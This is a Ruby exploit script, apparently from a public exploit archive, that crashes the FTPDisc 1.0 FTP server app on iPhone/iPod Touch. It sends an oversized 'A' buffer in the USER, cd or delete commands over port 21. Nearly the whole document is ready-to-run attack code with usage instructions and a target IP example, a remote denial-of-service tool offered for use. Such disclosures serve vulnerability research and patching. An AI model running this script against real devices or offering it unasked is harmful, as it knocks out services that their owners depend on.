iPhone / iTouch FTPDisc 1.0 Buffer Overflow

`###############  
# Title -> iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS  
# Model -> Tested on iPod Touch 3G 3.1.3  
# Software -> FTPDisc 1.0 and FTPDisc 1.0 Lite http://itunes.apple.com/es/app/ftpdisc-lite-pdf-reader/id329157971?mt=8  
# Attacker -> Tested from GNU/Linux (Sidux), fuzzing with a future PenTBox version :P  
#  
# Exploit languaje -> Ruby  
# Type -> Remote Denial of Service Exploit caused by Buffer Overflow  
#  
#  
###############  
# Discovered and written by Alberto Ortega  
# http://pentbox.net/  
###############  
  
require "socket"  
require "net/ftp"  
  
expl = ARGV[0]  
host = ARGV[1]  
  
puts ""  
if !expl || !host  
puts "HELP - iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS"  
puts ""  
puts "Exploits: 1 - USER [MALFORMED] 2 - cd [MALF] 3 - delete [MALF]"  
puts ""  
puts "- Usage: ftpdisc3io.rb [numberofexploit] [host]"  
puts "- Example: ftpdisc3io.rb 1 192.168.1.2"  
puts ""  
else  
buffer = "A"  
10.times do  
buffer = "#{buffer}#{buffer}" # Here de big buffer to send  
end  
if expl == "1" # EXPLOIT 1  
begin  
socket = TCPSocket.new(host, 21)  
puts "[*] Exploiting ..."  
socket.write("USER #{buffer}\r\n")  
puts "[*] Succesfully exploited! :)"  
rescue  
puts "Connection problem"  
end  
elsif expl == "2" || expl == "3"  
begin  
print "[*] Connecting to FTP ... "  
ftp = Net::FTP.new(host, "anonymous")  
puts "OK"  
puts "[*] Exploiting ..."  
if expl == "2"  
begin  
ftp.chdir(buffer) # EXPLOIT 2  
rescue  
end  
else  
begin  
ftp.delete(buffer) # EXPLOIT 3  
rescue  
end  
end  
puts "[*] Succesfully exploited! :)"  
rescue  
puts "Connection problem"  
end  
else  
puts "Incorrect exploit selection (1, 2, 3)"  
end  
end  
puts ""  
`